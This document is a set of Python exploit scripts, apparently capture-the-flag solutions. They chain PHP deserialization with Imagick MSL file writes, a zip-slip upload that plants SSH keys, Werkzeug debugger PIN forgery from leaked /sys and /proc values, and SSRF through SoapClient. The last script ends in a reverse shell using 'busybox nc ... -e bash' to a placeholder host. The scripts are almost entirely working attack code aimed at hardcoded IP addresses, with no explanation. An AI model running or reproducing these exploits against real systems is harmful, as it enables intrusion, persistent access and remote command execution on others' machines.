import requests
import base64 
import time
import re

url = "http://192.168.137.131:28999/index.php"
url = "http://182.92.6.230:18080"
proxies = {
    "http":"http://127.0.0.1:8080",
    "https":"http://127.0.0.1:8080"
}

write_session_params = 'O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22imagick%22%3B%7D'

trigger_sleep_payload = 'aaa|O:13:"fumo_backdoor":4:{s:4:"path";s:9:"/tmp/xxxx";s:4:"argv";N;s:4:"func";s:12:"zend_version";s:5:"class";N;}'

trigger_sleep_params = 'O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A13%3A%22session_start%22%3Bs%3A5%3A%22class%22%3BN%3B%7D&cmd=unserialze'


def gen_ppm(payload):
    ppm_content = '''P6
9 9
255
{}'''.format((243-len(payload))*"\x00" + payload)
    ppm_content = base64.b64encode(ppm_content.encode()).decode()
    return ppm_content

def rm_tmp_file():
    headers = {"Accept": "*/*"}
    requests.get(
        f"{url}/?cmd=rm",
        headers=headers,
        proxies=proxies
    )

def upload_file(file_content,file_path):
    headers = {
        "Accept": "*/*",
        "Content-Type": "multipart/form-data; boundary=------------------------c32aaddf3d8fd979"
    }

    data = f"--------------------------c32aaddf3d8fd979\r\nContent-Disposition: form-data; name=\"swarm\"; filename=\"swarm.msl\"\r\nContent-Type: application/octet-stream\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<image>\r\n <read filename=\"inline:data://image/x-portable-anymap;base64,{file_content}\" />\r\n <write filename=\"{file_path}\" />\r\n</image>\r\n--------------------------c32aaddf3d8fd979--"
    try:
        requests.post(
            f"{url}/?data={write_session_params}&cmd=unserialze",
            headers=headers, data=data,proxies=proxies
        )
    except requests.exceptions.ConnectionError:
        pass


def upload_session():
    payload = gen_ppm(trigger_sleep_payload)
    upload_file(payload,"/tmp/sess_afkl")

def copy_flag():
    headers = {
        "Accept": "*/*",
        "Content-Type": "multipart/form-data; boundary=------------------------c32aaddf3d8fd979"
    }

    data = f"--------------------------c32aaddf3d8fd979\r\nContent-Disposition: form-data; name=\"swarm\"; filename=\"swarm.msl\"\r\nContent-Type: application/octet-stream\r\n\r\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\r\n<image>\r\n <read filename=\"mvg:/flag\" />\r\n <write filename=\"/tmp/xxxx\" />\r\n</image>\r\n--------------------------c32aaddf3d8fd979--"
    try:
        requests.post(
            f"{url}/?data={write_session_params}&cmd=unserialze",
            headers=headers, data=data,proxies=proxies
        )
    except requests.exceptions.ConnectionError:
        pass


def get_flag():
    cookies = {"PHPSESSID": "afkl"}
    headers = {"Accept": "*/*"}
    response = requests.get(
        f"{url}/?data={trigger_sleep_params}&cmd=unserialze", 
        headers=headers, cookies=cookies,proxies=proxies
    )
    print(response.text)
    return re.findall(r"(flag\{.*\})", response.text)

if __name__ == '__main__':
    rm_tmp_file()
    time.sleep(2)
    copy_flag()
    time.sleep(2)
    upload_session()
    time.sleep(2)
    get_flag()

import requests
import zipfile
import os

url = "http://119.13.91.238:8888/"

proxies = {
    "http":"http://127.0.0.1:8080",
    "https":"http://127.0.0.1:8080"
}

def upload_file(local_file, remote_path):
    def gen_payload():
        os.system("rm ./upload/upload.zip")
        os.system(f"slipit upload/upload.zip {local_file} --prefix {remote_path} --separator /")
        print("[+] gen payload done")

    def upload_request():
        dfile = open("./upload/upload.zip", "rb")
        res = requests.post(f"{url}file-unarchiver", files = {"file": dfile}, proxies=proxies)
        if res.text != "":
            print(res.text)
        print(f"[+] upload to {remote_path} done\n")

    gen_payload()
    upload_request()

def read_remote_file(path):
    res = requests.get(f"{url}readfile?file={path}",proxies=proxies)
    print(f"[+] read file {path}")
    print(res.text)

def get_flag():
    res = requests.get(f"{url}admin",proxies=proxies)
    print("[+] tigger admin")
    print(res.text)
    

def exp():
    # global url 
    # url = "http://192.168.137.131:8888/"
    upload_file("~/.ssh/authorized_keys","/home/vanzy/.ssh")
    upload_file("~/.ssh/id_rsa","/home/vanzy/.ssh")
    read_remote_file("/home/vanzy/.ssh/authorized_keys")
    get_flag()

if __name__ == "__main__":
    exp()

from flask import Flask

app = Flask(__name__)

@app.route('/')
def index():
    return 'Hello World!'

if __name__ == '__main__':
    app.run(host="0.0.0.0",debug=True)

import hashlib
from itertools import chain
import time

def calc(probably_public_bits,private_bits):
    #h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')
    #h.update(b'shittysalt')

    cookie_name = '__wzd' + h.hexdigest()[:20]

    num = None
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    rv =None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = numapp
    return cookie_name, rv

def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]

def gen_pin_and_cookie(username, mod_file, uuid, machine_id):
    probably_public_bits = [
        username,# username
        'flask.app',# modname
        'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
        mod_file # getattr(mod, '__file__', None),
    ]

    private_bits = [
        uuid,# str(uuid.getnode()),  /sys/class/net/eth0/address
        machine_id# get_machine_id(), /etc/machine-id
    ]

    cookie_name, pin = calc(probably_public_bits,private_bits)
    
    cookie_value = f"{int(time.time())}|{hash_pin(pin)}"
    cookie = "%s=%s" % (cookie_name,cookie_value)
    print("[+] PIN : " + pin)
    print("[+] Cookie : %s" % (cookie))
    return pin, cookie

if __name__ == "__main__":
    gen_pin_and_cookie(
        'app',
        '/usr/lib/python3.8/site-packages/flask/app.py', 
        '2485378023426', '349b3354-f67f-4438-b395-4fbc01171fdd96f7c71c69a673768993cd951fedeee8e33246ccc0513312f4c82152bf68c687')

cmd = f"__import__(%22os%22).popen(%22/bin/busybox%20nc%20xxx.xxx.xxx.xxx%209999%20-e%20bash%22).read();"

import requests
import re
import base64
import subprocess
from urllib.parse import quote
from gen_pin import gen_pin_and_cookie

target = 'http://115.239.215.75:8081/index.php'

session = requests.session()
flag = 'helloworld'

proxies = {
    "http":"http://192.168.137.98:8080",
    "https":"http://192.168.137.98:8080",
}

def session_request(payload):
    files = [
        ('file', ('load.png', b'a' * 1024, 'image/png')),
    ]
    data = {
        'PHP_SESSION_UPLOAD_PROGRESS': 'aaa',
        'data': payload
        }

    res = requests.post(
        target,
        data=data,
        files=files,
        cookies={'PHPSESSID': flag},
        proxies=proxies
    )

    try:
        return res
    except:
        print(f"[+] get file content fail")
    

def get_file_content(file_name):
    print(f"[+] get {file_name} content")

    payload = subprocess.check_output(['php', "./get_file_content.php", file_name], universal_newlines=True)
    payload.strip()

    res = session_request(payload).text
    try:
        file_content = res.split("this is the object: ")[1].replace(' <br>','')
        file_content = base64.b64decode(file_content).decode()
        
        print(file_content)
        return file_content.strip()
    except:
        print("[+] file not found")



def file_get_content_request(url):
    payload = subprocess.check_output(['php', "./console_interact.php", url], universal_newlines=True)
    
    res = session_request(payload)
    return res

def get_secret():
    res = file_get_content_request(f'console').text
    try:
        secret = re.findall("[0-9a-zA-Z]{20}",res)[0]
        print(f"[+] get secret {secret}")
    except:
        print("[+] get secret fail")
    return secret

def soap_request(url,cookie=""):
    payload = subprocess.check_output(['php', "./soap_client.php", url, cookie], universal_newlines=True)
    payload.strip()

    res = session_request(payload)
    return res

def get_uuid_mechine_id():
    uuid = get_file_content("/sys/class/net/eth0/address")
    uuid = str(int(uuid.replace(':', ''), 16))
    mechine_id = get_file_content("/proc/sys/kernel/random/boot_id")
    mechine_id += get_file_content("/proc/self/cgroup").split("/")[-1]
    print(f"[+] uuid {uuid}")
    print(f"[+] mechine_id {mechine_id}")
    return uuid, mechine_id

def reverse_shell(secret,cookie, rev_host, rev_port):
    cmd = f"__import__(%22os%22).popen(%22/bin/busybox%20nc%20{rev_host}%20{rev_port}%20-e%20bash%22).read();"
    soap_request(f"http://127.0.0.1:5000/console?&__debugger__=yes&cmd={cmd}&frm=0&s={secret}",cookie)


if __name__ == '__main__':
    # while True:
    #     file = input("filename> ")
    #     get_file_content(file)
    # target = 'http://192.168.137.131:28999/index.php'
    secret = get_secret()

    uuid, mechine_id = get_uuid_mechine_id()

    _,cookie = gen_pin_and_cookie(
        'app',
        '/usr/lib/python3.8/site-packages/flask/app.py', 
        uuid, mechine_id)
    reverse_shell(secret,cookie, "xxx.xxx.xxx.xxx", 9999)